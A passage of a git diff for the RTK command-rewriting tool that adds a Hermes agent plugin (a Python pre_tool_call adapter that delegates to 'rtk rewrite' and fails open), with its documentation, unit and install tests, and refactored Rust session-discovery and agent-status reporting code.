equivalents for 60-90% token savings. +RTK supports 13 AI coding tools. Each integration rewrites shell commands to `rtk` equivalents for 60-90% token savings where the agent supports command interception. | Tool | Install | Method | |------|---------|--------| @@ -364,11 +365,12 @@ RTK supports 12 AI coding tools. Each integration transparently rewrites shell c | **Cline / Roo Code** | `rtk init --agent cline` | .clinerules (project-scoped) | | **OpenCode** | `rtk init -g --opencode` | Plugin TS (tool.execute.before) | | **OpenClaw** | `openclaw plugins install ./openclaw` | Plugin TS (before_tool_call) | +| **Hermes** | `rtk init --agent hermes` | Python plugin adapter (terminal command mutation via `rtk rewrite`) | | **Mistral Vibe** | Planned ([#800](https://github.com/rtk-ai/rtk/issues/800)) | Blocked on upstream | | **Kilo Code** | `rtk init --agent kilocode` | .kilocode/rules/rtk-rules.md (project-scoped) | | **Google Antigravity** | `rtk init --agent antigravity` | .agents/rules/antigravity-rtk-rules.md (project-scoped) | -For per-agent setup details, override controls, and graceful degradation, see the [Supported Agents guide](https://www.rtk-ai.app/guide/getting-started/supported-agents). +For per-agent setup details, override controls, and graceful degradation, see the [Supported Agents guide](https://www.rtk-ai.app/guide/getting-started/supported-agents). The Hermes plugin source and tests live in `hooks/hermes/`; installed Hermes runtime files still live under `~/.hermes/plugins/rtk-rewrite/`. ## Configuration diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 4623353d5e..561f9de151 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -1,6 +1,6 @@ --- title: Supported Agents -description: How to integrate RTK with Claude Code, Cursor, Copilot, Cline, Windsurf, Codex, OpenCode, Kilo Code, and Antigravity +description: How to integrate RTK with Claude Code, Cursor, Copilot, Cline, Windsurf, Codex, OpenCode, Hermes, Kilo Code, and Antigravity sidebar: order: 3 --- @@ -35,6 +35,7 @@ Agent runs "cargo test" | Gemini CLI | Rust binary (`BeforeTool`) | Yes | | OpenCode | TypeScript plugin (`tool.execute.before`) | Yes | | OpenClaw | TypeScript plugin (`before_tool_call`) | Yes | +| Hermes | Python plugin (`terminal` command mutation) | Yes | | Cline / Roo Code | Rules file (prompt-level) | N/A | | Windsurf | Rules file (prompt-level) | N/A | | Codex CLI | AGENTS.md instructions | N/A | @@ -92,6 +93,16 @@ openclaw plugins install ./openclaw Plugin in the `openclaw/` directory. Uses the `before_tool_call` hook, delegates to `rtk rewrite`. +### Hermes + +```bash +rtk init --agent hermes +``` + +Creates `~/.hermes/plugins/rtk-rewrite/` and enables it through `plugins.enabled` in the Hermes config. Hermes loads Python plugins, so the plugin entrypoint is Python, but it is only a thin adapter. It mutates the Hermes `terminal` tool `command` before execution and delegates all rewrite decisions to Rust through `rtk rewrite`. The repository source and tests for that adapter live in `hooks/hermes/`; only installed runtime files use the `~/.hermes/plugins/rtk-rewrite/` path. + +The plugin fails open. If `rtk` is missing at load time, the hook is not registered. If `rtk rewrite` errors, the tool is not `terminal`, the payload has no string `command`, or the plugin raises an exception, Hermes runs the original command unchanged. The same `rtk rewrite` limitations apply: already-prefixed `rtk` commands, compound shell commands, heredocs, and commands without filters are not rewritten. + ### Cline / Roo Code ```bash @@ -137,7 +148,7 @@ Support is blocked on upstream `BeforeToolCallback` ([mistral-vibe#531](https:// | Tier | Mechanism | How rewrites work | |------|-----------|------------------| | **Full hook** | Shell script or Rust binary, intercepts via agent API | Transparent — agent never sees the raw command | -| **Plugin** | TypeScript/JS in agent's plugin system | Transparent — in-place mutation | +| **Plugin** | TypeScript, JavaScript, or Python in agent's plugin system | Transparent, in-place mutation when the agent allows it | | **Rules file** | Prompt-level instructions | Guidance only — agent is told to prefer `rtk ` | Rules file integrations (Cline, Windsurf, Codex, Kilo Code, Antigravity) rely on the model following instructions. Full hook integrations (Claude Code, Cursor, Gemini) are guaranteed — the command is rewritten before the agent sees it. diff --git a/hooks/README.md b/hooks/README.md index 6a6744281d..0879de9bbb 100644 --- a/hooks/README.md +++ b/hooks/README.md @@ -4,7 +4,7 @@ **Deployed hook artifacts** — the actual files installed on user machines by `rtk init`. These are shell scripts, TypeScript plugins, and rules files that run outside the Rust binary. They are **thin delegates**: parse agent-specific JSON, call `rtk rewrite` as a subprocess, format agent-specific response. Zero filtering logic lives here. -Owns: per-agent hook scripts and configuration files for 7 supported agents (Claude Code, Copilot, Cursor, Cline, Windsurf, Codex, OpenCode). +Owns: per-agent hook scripts and configuration files for 8 supported agents (Claude Code, Copilot, Cursor, Cline, Windsurf, Codex, OpenCode, Hermes). Does **not** own: hook installation/uninstallation (that's `src/hooks/init.rs`), the rewrite pattern registry (that's `discover/registry`), or integrity verification (that's `src/hooks/integrity.rs`). @@ -40,6 +40,7 @@ Each agent subdirectory has its own README with hook-specific details: - **[`windsurf/`](windsurf/README.md)** — Rules file (prompt-level), `.windsurfrules` workspace-scoped - **[`codex/`](codex/README.md)** — Awareness document, `AGENTS.md` integration, `$CODEX_HOME` or `~/.codex/` location - **[`opencode/`](opencode/README.md)** — TypeScript plugin, `zx` library, `tool.execute.before` event, in-place mutation +- **[`hermes/`](hermes/README.md)** — Python plugin, `pre_tool_call` hook, in-place terminal command mutation ## Supported Agents @@ -54,6 +55,7 @@ Each agent subdirectory has its own README with hook-specific details: | Windsurf | Custom instructions (rules file) | Prompt-level guidance | N/A | | Codex CLI | AGENTS.md / instructions | Prompt-level guidance | N/A | | OpenCode | TypeScript plugin (`tool.execute.before`) | In-place mutation | Yes | +| Hermes | Python plugin (`pre_tool_call`) | In-place mutation | Yes | ## JSON Formats by Agent @@ -156,6 +158,17 @@ if (rewritten && rewritten !== command) { } ``` +### Hermes (Python Plugin) + +Mutates `args["command"]` in-place via the `pre_tool_call` hook: + +```python +result = subprocess.run(["rtk", "rewrite", command], capture_output=True, text=True, timeout=2) +rewritten = result.stdout.strip() +if result.returncode in {0, 3} and rewritten and rewritten != command: + args["command"] = rewritten +``` + ## Command Rewrite Registry The registry (`src/discover/registry.rs`) handles command patterns across these categories: @@ -217,7 +230,7 @@ New integrations must follow the [Exit Code Contract](#exit-code-contract) and [ | Tier | Mechanism | Maintenance | Examples | |------|-----------|-------------|----------| | **Full hook** | Shell script or Rust binary, intercepts commands via agent's hook API | High — must track agent API changes | Claude Code, Cursor, Copilot, Gemini | -| **Plugin** | TypeScript/JS plugin in agent's plugin system | Medium — agent manages loading | OpenCode | +| **Plugin** | TypeScript/JS/Python plugin in agent's plugin system | Medium — agent manages loading | OpenCode, Hermes | | **Rules file** | Prompt-level instructions the agent reads | Low — no code to break | Cline, Windsurf, Codex | ### Eligibility @@ -232,4 +245,3 @@ RTK supports AI coding assistants that developers actually use day-to-day. To ad ### Maintenance If an agent's API changes and the hook breaks, the integration should be updated promptly. If the agent becomes unmaintained or the hook can't be fixed, the integration may be deprecated with a release note. - diff --git a/hooks/hermes/README.md b/hooks/hermes/README.md new file mode 100644 index 0000000000..2a755c7106 --- /dev/null +++ b/hooks/hermes/README.md @@ -0,0 +1,43 @@ +# RTK Plugin for Hermes + +Rewrites Hermes `terminal` tool commands to RTK equivalents before execution, so Hermes receives compact command output without changing your workflow. + +## Installation + +```bash +rtk init --agent hermes +``` + +The installer writes the plugin to `~/.hermes/plugins/rtk-rewrite/` and enables it through `plugins.enabled` in the Hermes config. The repository copy lives in `hooks/hermes/`; don't use that repo path as the runtime install path. + +## Development + +Run the Hermes plugin tests from the repository root: + +```bash +python3 -m unittest discover -s hooks/hermes +``` + +## How it works + +Hermes loads plugins from Python, so the plugin entrypoint is Python. The Python code is only a thin Hermes adapter. It reads the Hermes terminal tool payload, calls `rtk rewrite` for the actual command decision, then mutates the terminal tool `command` before Hermes executes it. + +All rewrite rules stay in Rust inside `rtk rewrite`. When RTK adds or changes command rewrite behavior, the Hermes plugin picks up that behavior by delegating to the RTK binary. + +## Fail-open behavior + +The plugin does not block command execution. If anything goes wrong, Hermes runs the original command unchanged. + +If rtk is not available in PATH when Hermes loads the plugin, the plugin prints a warning and skips hook registration. + +- `rtk` is missing from `PATH` +- `rtk rewrite` exits with an error +- Hermes sends a non-terminal tool call +- The tool payload has no string `command` +- The plugin raises an unexpected exception + +## Limitations + +- Only Hermes `terminal` tool calls are rewritten. +- Commands skipped by `rtk rewrite` stay unchanged, including commands already prefixed with `rtk`, compound shell commands, heredocs, and commands without an RTK filter. +- Shell hooks are not used for Hermes command rewriting. The integration depends on Hermes loading Python plugins and passing a mutable terminal tool payload. diff --git a/hooks/hermes/rtk-rewrite/__init__.py b/hooks/hermes/rtk-rewrite/__init__.py new file mode 100644 index 0000000000..6dcf44e832 --- /dev/null +++ b/hooks/hermes/rtk-rewrite/__init__.py @@ -0,0 +1,80 @@ +"""Hermes plugin adapter for RTK command rewriting. + +All rewrite logic lives in RTK's Rust ``rtk rewrite`` command; this module +only bridges Hermes ``pre_tool_call`` payloads to that command and fails open. +""" + +import shutil +import subprocess +import sys + + +ACCEPTED_REWRITE_RETURN_CODES = {0, 3} +EXPECTED_PASSTHROUGH_RETURN_CODES = {1, 2} +_rtk_available = None +_rtk_missing_warned = False + + +def register(ctx): + """Register the Hermes pre-tool callback.""" + if not _check_rtk(): + return + + ctx.register_hook("pre_tool_call", _pre_tool_call) + + +def _check_rtk(): + """Return whether the rtk binary is in PATH, warning once when missing.""" + global _rtk_available, _rtk_missing_warned + + if _rtk_available is None: + _rtk_available = shutil.which("rtk") is not None + + if not _rtk_available and not _rtk_missing_warned: + _warn("rtk binary not found in PATH; Hermes hook not registered") + _rtk_missing_warned = True + + return _rtk_available + + +def _pre_tool_call(tool_name=None, args=None, **_kwargs): + """Rewrite mutable Hermes terminal command args when RTK provides a change.""" + try: + if tool_name != "terminal" or not isinstance(args, dict): + return + + command = args.get("command") + if not isinstance(command, str) or not command.strip(): + return + + try: + result = subprocess.run( + ["rtk", "rewrite", command], + shell=False, + timeout=2, + capture_output=True, + text=True, + ) + except subprocess.TimeoutExpired: + _warn("rtk rewrite timed out") + return + + if result.returncode not in ACCEPTED_REWRITE_RETURN_CODES: + if result.returncode not in EXPECTED_PASSTHROUGH_RETURN_CODES: + details = f"rtk rewrite failed with exit {result.returncode}" + stderr = result.stderr.strip() + if stderr: + details = f"{details}: {stderr}" + _warn(details) + return + + rewritten = result.stdout.strip() + if rewritten and rewritten != command: + args["command"] = rewritten + except Exception as e: + _warn(str(e)) + return + + +def _warn(message): + print(f"rtk: hermes plugin warning: {message}", file=sys.stderr) diff --git a/hooks/hermes/rtk-rewrite/plugin.yaml b/hooks/hermes/rtk-rewrite/plugin.yaml new file mode 100644 index 0000000000..7a08e40b54 --- /dev/null +++ b/hooks/hermes/rtk-rewrite/plugin.yaml @@ -0,0 +1,8 @@ +name: rtk-rewrite +version: "0.1.0" +description: Rewrite Hermes terminal commands through RTK before execution. +author: RTK Contributors +hooks: + - pre_tool_call +provides_hooks: + - pre_tool_call diff --git a/hooks/hermes/tests/__init__.py b/hooks/hermes/tests/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/hooks/hermes/tests/test_rtk_rewrite_plugin.py b/hooks/hermes/tests/test_rtk_rewrite_plugin.py new file mode 100644 index 0000000000..1434262466 --- /dev/null +++ b/hooks/hermes/tests/test_rtk_rewrite_plugin.py @@ -0,0 +1,352 @@ +import io +import importlib.util +import os +import shutil +import stat +import subprocess +import sys +import tempfile +import unittest +from pathlib import Path +from unittest import mock + + +PLUGIN_PATH = Path(__file__).resolve().parents[1] / "rtk-rewrite" / "__init__.py" + + +class FakeContext: + def __init__(self): + self.hooks = {} + + def register_hook(self, hook_name, callback): + self.hooks[hook_name] = callback + + +class FakeCompletedProcess: + def __init__(self, returncode=0, stdout="", stderr=""): + self.returncode = returncode + self.stdout = stdout + self.stderr = stderr + + +def load_plugin_module(path=PLUGIN_PATH, module_name="rtk_rewrite_plugin"): + spec = importlib.util.spec_from_file_location(module_name, path) + if spec is None or spec.loader is None: + raise ImportError(f"Unable to load Hermes plugin from {path}") + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +def write_fake_rtk(bin_dir): + fake_rtk = bin_dir / "rtk" + fake_rtk.write_text( + "\n".join( + [ + f"#!{sys.executable}", + "import sys", + "if sys.argv[1:] == ['rewrite', 'git status']:", + " print('rtk git status')", + " raise SystemExit(0)", + "print('unexpected rtk args:', sys.argv[1:], file=sys.stderr)", + "raise SystemExit(1)", + "", + ] + ) + ) + fake_rtk.chmod(fake_rtk.stat().st_mode | stat.S_IXUSR) + return fake_rtk + + +class RtkRewritePluginTest(unittest.TestCase): + def load_callback(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + ctx = FakeContext() + + with mock.patch.object(module.shutil, "which", return_value="/usr/bin/rtk"): + module.register(ctx) + + self.assertIn("pre_tool_call", ctx.hooks) + return module, ctx.hooks["pre_tool_call"] + + def test_missing_rtk_skips_registering_pre_tool_call(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + ctx = FakeContext() + + with mock.patch.object(module.shutil, "which", return_value=None): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + module.register(ctx) + + self.assertNotIn("pre_tool_call", ctx.hooks) + self.assertEqual( + "rtk: hermes plugin warning: rtk binary not found in PATH; Hermes hook not registered\n", + stderr.getvalue(), + ) + + def test_missing_rtk_warns_only_once(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + + with mock.patch.object(module.shutil, "which", return_value=None): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + self.assertFalse(module._check_rtk()) + self.assertFalse(module._check_rtk()) + + self.assertEqual( + "rtk: hermes plugin warning: rtk binary not found in PATH; Hermes hook not registered\n", + stderr.getvalue(), + ) + + def test_check_rtk_found_is_quiet(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + + with mock.patch.object(module.shutil, "which", return_value="/usr/bin/rtk"): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + self.assertTrue(module._check_rtk()) + + self.assertEqual("", stderr.getvalue()) + + def test_check_rtk_caches_result_across_calls(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + + with mock.patch.object(module.shutil, "which", return_value="/usr/bin/rtk") as which: + self.assertTrue(module._check_rtk()) + self.assertTrue(module._check_rtk()) + + which.assert_called_once_with("rtk") + + def test_rewrite_success_mutates_same_terminal_args_dict(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(stdout="rtk git status\n"), + ): + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "rtk git status"}, args) + + def test_rewrite_returncode_three_mutates_same_terminal_args_dict(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(returncode=3, stdout="rtk git status\n"), + ): + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "rtk git status"}, args) + + def test_rewrite_returncode_zero_mutates_when_rewrite_changes_command(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(stdout="rtk git status\n"), + ): + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "rtk git status"}, args) + + def test_expected_passthrough_returncodes_do_not_warn_or_mutate(self): + for returncode in (1, 2): + with self.subTest(returncode=returncode): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess( + returncode=returncode, + stdout="rtk git status\n", + stderr="unexpected stderr", + ), + ): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertEqual("", stderr.getvalue()) + + def test_unexpected_returncode_warns_with_stderr_details(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(returncode=4, stdout="rtk git status\n", stderr="bad news"), + ): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertEqual("rtk: hermes plugin warning: rtk rewrite failed with exit 4: bad news\n", stderr.getvalue()) + + def test_rewrite_timeout_warns_and_preserves_original_command(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + timeout = subprocess.TimeoutExpired(cmd=["rtk", "rewrite", "git status"], timeout=2) + with mock.patch.object(module.subprocess, "run", side_effect=timeout): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertEqual("rtk: hermes plugin warning: rtk rewrite timed out\n", stderr.getvalue()) + + def test_file_not_found_preserves_original_command(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object(module.subprocess, "run", side_effect=FileNotFoundError): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertIn("rtk: hermes plugin warning:", stderr.getvalue()) + + def test_unexpected_exception_prints_warning_and_keeps_command(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object(module.subprocess, "run", side_effect=RuntimeError("boom")): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertEqual("rtk: hermes plugin warning: boom\n", stderr.getvalue()) + + def test_non_terminal_tool_is_noop(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object(module.subprocess, "run") as run: + callback(tool_name="read_file", args=args) + + run.assert_not_called() + self.assertEqual({"command": "git status"}, args) + + def test_missing_command_is_noop(self): + module, callback = self.load_callback() + args = {} + + with mock.patch.object(module.subprocess, "run") as run: + callback(tool_name="terminal", args=args) + + run.assert_not_called() + self.assertEqual({}, args) + + def test_non_string_command_is_noop(self): + module, callback = self.load_callback() + args = {"command": ["git", "status"]} + + with mock.patch.object(module.subprocess, "run") as run: + callback(tool_name="terminal", args=args) + + run.assert_not_called() + self.assertEqual({"command": ["git", "status"]}, args) + + def test_empty_command_strings_are_noop(self): + for command in ("", " ", "\t\n"): + with self.subTest(command=command): + module, callback = self.load_callback() + args = {"command": command} + + with mock.patch.object(module.subprocess, "run") as run: + callback(tool_name="terminal", args=args) + + run.assert_not_called() + self.assertEqual({"command": command}, args) + + def test_empty_or_unchanged_rewrite_output_preserves_original_command(self): + for stdout in ("", "\n", "git status\n"): + with self.subTest(stdout=stdout): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(stdout=stdout), + ): + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + + +class InstalledRtkRewritePluginTest(unittest.TestCase): + @unittest.skipUnless(shutil.which("cargo"), "cargo is required for installed flow") + def test_cargo_init_installs_importable_plugin_that_rewrites_with_fake_rtk(self): + repo_root = Path(__file__).resolve().parents[3] + self.assertTrue((repo_root / "Cargo.toml").exists(), "repo_root must point at the repository root") + real_home = Path(os.path.expanduser("~")) + + with tempfile.TemporaryDirectory() as home, tempfile.TemporaryDirectory() as bin_dir: + home_path = Path(home) + fake_bin = Path(bin_dir) + write_fake_rtk(fake_bin) + + env = os.environ.copy() + env["HOME"] = str(home_path) + env["PATH"] = str(fake_bin) + os.pathsep + env.get("PATH", "") + env["RTK_TELEMETRY_DISABLED"] = "1" + env["CARGO_TERM_COLOR"] = "never" + env.setdefault("RUSTUP_TOOLCHAIN", "stable") + if "RUSTUP_HOME" not in env and (real_home / ".rustup").exists(): + env["RUSTUP_HOME"] = str(real_home / ".rustup") + if "CARGO_HOME" not in env and (real_home / ".cargo").exists(): + env["CARGO_HOME"] = str(real_home / ".cargo") + env.pop("RTK_CLAUDE_DIR", None) + + result = subprocess.run( + ["cargo", "run", "--quiet", "--", "init", "--agent", "hermes"], + cwd=repo_root, + env=env, + capture_output=True, + text=True, + timeout=300, + ) + + self.assertEqual( + 0, + result.returncode, + msg=f"stdout:\n{result.stdout}\nstderr:\n{result.stderr}", + ) + + plugin_dir = home_path / ".hermes" / "plugins" / "rtk-rewrite" + init_path = plugin_dir / "__init__.py" + manifest_path = plugin_dir / "plugin.yaml" + self.assertTrue(init_path.exists(), "installed plugin __init__.py must exist") + self.assertTrue(manifest_path.exists(), "installed plugin.yaml must exist") + + module = load_plugin_module(init_path, "installed_rtk_rewrite_plugin") + ctx = FakeContext() + with mock.patch.dict(os.environ, {"PATH": env["PATH"]}): + module.register(ctx) + callback = ctx.hooks["pre_tool_call"] + + args = {"command": "git status"} + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "rtk git status"}, args) + + +if __name__ == "__main__": + unittest.main() diff --git a/src/discover/mod.rs b/src/discover/mod.rs index 36861406ba..98d3eae765 100644 --- a/src/discover/mod.rs +++ b/src/discover/mod.rs @@ -263,6 +263,7 @@ pub fn run( parse_errors, rtk_disabled_count, rtk_disabled_examples, + agent_status: report::AgentIntegrationStatus::detect(), }; match format { diff --git a/src/discover/provider.rs b/src/discover/provider.rs index 08b4ddc8f6..ee76c7a169 100644 --- a/src/discover/provider.rs +++ b/src/discover/provider.rs @@ -45,47 +45,25 @@ impl ClaudeProvider { /// Get the base directory for Claude Code projects. fn projects_dir() -> Result { let home = dirs::home_dir().context("could not determine home directory")?; - let dir = home.join(CLAUDE_DIR).join("projects"); - if !dir.exists() { - anyhow::bail!( - "Claude Code projects directory not found: {}\nMake sure Claude Code has been used at least once.", - dir.display() - ); - } - Ok(dir) + Ok(Self::projects_dir_for_home(&home)) } - /// Encode a filesystem path to Claude Code's directory name format. - /// - /// Claude Code replaces `/`, `.`, `_`, `\`, and any non-ASCII character - /// with `-` when computing the project directory slug under `~/.claude/projects/`. - /// - /// `/Users/foo/bar` → `-Users-foo-bar` - /// `/Users/first.last/bar` → `-Users-first-last-bar` - /// `/home/chris/2_project` → `-home-chris-2-project` - /// `C:\Users\foo\bar` → `C:-Users-foo-bar` - pub fn encode_project_path(path: &str) -> String { - const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\']; - - path.chars() - .map(|c| { - if !c.is_ascii() || SANITIZED_CHARS.contains(&c) { - '-' - } else { - c - } - }) - .collect() + fn projects_dir_for_home(home: &Path) -> PathBuf { + home.join(CLAUDE_DIR).join("projects") } -} -impl SessionProvider for ClaudeProvider { - fn discover_sessions( - &self, + fn discover_sessions_in_projects_dir( + projects_dir: &Path, project_filter: Option<&str>, since_days: Option, ) -> Result> { - let projects_dir = Self::projects_dir()?; + if !projects_dir + .try_exists() + .with_context(|| format!("failed to access {}", projects_dir.display()))? + { + return Ok(Vec::new()); + } + let cutoff = since_days.map(|days| { SystemTime::now() .checked_sub(Duration::from_secs(days * 86400)) @@ -95,7 +73,7 @@ impl SessionProvider for ClaudeProvider { let mut sessions = Vec::new(); // List project directories - let entries = fs::read_dir(&projects_dir) + let entries = fs::read_dir(projects_dir) .with_context(|| format!("failed to read {}", projects_dir.display()))?; for entry in entries.flatten() { @@ -141,6 +119,40 @@ impl SessionProvider for ClaudeProvider { Ok(sessions) } + /// Encode a filesystem path to Claude Code's directory name format. + /// + /// Claude Code replaces `/`, `.`, `_`, `\`, and any non-ASCII character + /// with `-` when computing the project directory slug under `~/.claude/projects/`. + /// + /// `/Users/foo/bar` → `-Users-foo-bar` + /// `/Users/first.last/bar` → `-Users-first-last-bar` + /// `/home/chris/2_project` → `-home-chris-2-project` + /// `C:\Users\foo\bar` → `C:-Users-foo-bar` + pub fn encode_project_path(path: &str) -> String { + const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\']; + + path.chars() + .map(|c| { + if !c.is_ascii() || SANITIZED_CHARS.contains(&c) { + '-' + } else { + c + } + }) + .collect() + } +} + +impl SessionProvider for ClaudeProvider { + fn discover_sessions( + &self, + project_filter: Option<&str>, + since_days: Option, + ) -> Result> { + let projects_dir = Self::projects_dir()?; + Self::discover_sessions_in_projects_dir(&projects_dir, project_filter, since_days) + } + fn extract_commands(&self, path: &Path) -> Result> { let file = fs::File::open(path).with_context(|| format!("failed to open {}", path.display()))?; @@ -409,6 +421,56 @@ mod tests { assert!(encoded.contains("Sites")); } + #[test] + fn test_discover_sessions_missing_projects_dir_returns_empty() { + let temp_home = tempfile::tempdir().unwrap(); + let missing_projects_dir = temp_home.path().join(CLAUDE_DIR).join("projects"); + + let sessions = ClaudeProvider::discover_sessions_in_projects_dir( + &missing_projects_dir, + None, + Some(30), + ) + .unwrap(); + + assert!(sessions.is_empty()); + } + + #[test] + fn test_discover_sessions_applies_project_filter() { + let projects_dir = tempfile::tempdir().unwrap(); + let matching_project = projects_dir.path().join("-Users-test-rtk"); + let other_project = projects_dir.path().join("-Users-test-other"); + std::fs::create_dir_all(&matching_project).unwrap(); + std::fs::create_dir_all(&other_project).unwrap(); + std::fs::write(matching_project.join("matching.jsonl"), "").unwrap(); + std::fs::write(other_project.join("other.jsonl"), "").unwrap(); + + let sessions = ClaudeProvider::discover_sessions_in_projects_dir( + projects_dir.path(), + Some("rtk"), + None, + ) + .unwrap(); + + assert_eq!(sessions.len(), 1); + assert_eq!( + sessions[0].file_name().and_then(|name| name.to_str()), + Some("matching.jsonl") + ); + } + + #[test] + fn test_discover_sessions_existing_non_directory_returns_error() { + let projects_file = tempfile::NamedTempFile::new().unwrap(); + + let err = + ClaudeProvider::discover_sessions_in_projects_dir(projects_file.path(), None, None) + .unwrap_err(); + + assert!(err.to_string().contains("failed to read")); + } + #[test] fn test_extract_output_content() { let jsonl = make_jsonl(&[ diff --git a/src/discover/report.rs b/src/discover/report.rs index 2af129a5c3..c2c523e246 100644 --- a/src/discover/report.rs +++ b/src/discover/report.rs @@ -1,7 +1,11 @@ //! Data types for reporting which commands RTK can and cannot optimize. -use crate::hooks::constants::{CURSOR_DIR, HOOKS_SUBDIR, REWRITE_HOOK_FILE}; +use crate::hooks::constants::{ + CURSOR_DIR, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, + HOOKS_SUBDIR, REWRITE_HOOK_FILE, +}; use serde::Serialize; +use std::path::Path; /// RTK support status for a command. #[derive(Debug, Serialize, Clone, Copy, PartialEq, Eq)] @@ -44,6 +48,36 @@ pub struct UnsupportedEntry { pub example: String, } +#[derive(Debug, Serialize, Clone, Copy, PartialEq, Eq, Default)] +pub struct AgentIntegrationStatus { + pub cursor_hook_installed: bool, + pub hermes_plugin_installed: bool, +} + +impl AgentIntegrationStatus { + pub fn detect() -> Self { + dirs::home_dir() + .map(|home| Self::detect_from_home(&home)) + .unwrap_or_default() + } + + fn detect_from_home(home: &Path) -> Self { + Self { + cursor_hook_installed: home + .join(CURSOR_DIR) + .join(HOOKS_SUBDIR) + .join(REWRITE_HOOK_FILE) + .exists(), + hermes_plugin_installed: home + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) + .join(HERMES_PLUGIN_MANIFEST_FILE) + .is_file(), + } + } +} + /// Full discover report. #[derive(Debug, Serialize)] pub struct DiscoverReport { @@ -56,6 +90,7 @@ pub struct DiscoverReport { pub parse_errors: usize, pub rtk_disabled_count: usize, pub rtk_disabled_examples: Vec, + pub agent_status: AgentIntegrationStatus, } impl DiscoverReport { @@ -94,6 +129,7 @@ pub fn format_text(report: &DiscoverReport, limit: usize, verbose: bool) -> Stri if report.supported.is_empty() && report.unsupported.is_empty() { out.push_str("\nNo missed savings found. RTK usage looks good!\n"); + append_agent_notes(&mut out, report.agent_status); return out; } @@ -168,16 +204,7 @@ pub fn format_text(report: &DiscoverReport, limit: usize, verbose: bool) -> Stri out.push_str("\n~estimated from tool_result output sizes\n"); - // Cursor note: check if Cursor hooks are installed - if let Some(home) = dirs::home_dir() { - let cursor_hook = home - .join(CURSOR_DIR) - .join(HOOKS_SUBDIR) - .join(REWRITE_HOOK_FILE); - if cursor_hook.exists() { - out.push_str("\nNote: Cursor sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); - } - } + append_agent_notes(&mut out, report.agent_status); if verbose && report.parse_errors > 0 { out.push_str(&format!("Parse errors skipped: {}\n", report.parse_errors)); @@ -186,6 +213,16 @@ pub fn format_text(report: &DiscoverReport, limit: usize, verbose: bool) -> Stri out } +fn append_agent_notes(out: &mut String, status: AgentIntegrationStatus) { + if status.cursor_hook_installed { + out.push_str("\nNote: Cursor sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); + } + + if status.hermes_plugin_installed { + out.push_str("\nNote: Hermes plugin is installed; Hermes sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); + } +} + /// Format report as JSON. pub fn format_json(report: &DiscoverReport) -> String { serde_json::to_string_pretty(report).unwrap_or_else(|_| "{}".to_string()) @@ -230,6 +267,7 @@ mod tests { parse_errors: 0, rtk_disabled_count: 0, rtk_disabled_examples: vec![], + agent_status: AgentIntegrationStatus::default(), } } @@ -267,4 +305,69 @@ mod tests { let output = format_text(&report, 10, false); assert!(output.contains("100.0%")); } + + #[test] + fn test_agent_status_detects_hermes_plugin_manifest() { + let temp_home = tempfile::tempdir().unwrap(); + let manifest = temp_home + .path() + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) + .join(HERMES_PLUGIN_MANIFEST_FILE); + std::fs::create_dir_all(manifest.parent().unwrap()).unwrap(); + std::fs::write(&manifest, "name: rtk-rewrite\n").unwrap(); + + let status = AgentIntegrationStatus::detect_from_home(temp_home.path()); + + assert!(status.hermes_plugin_installed); + 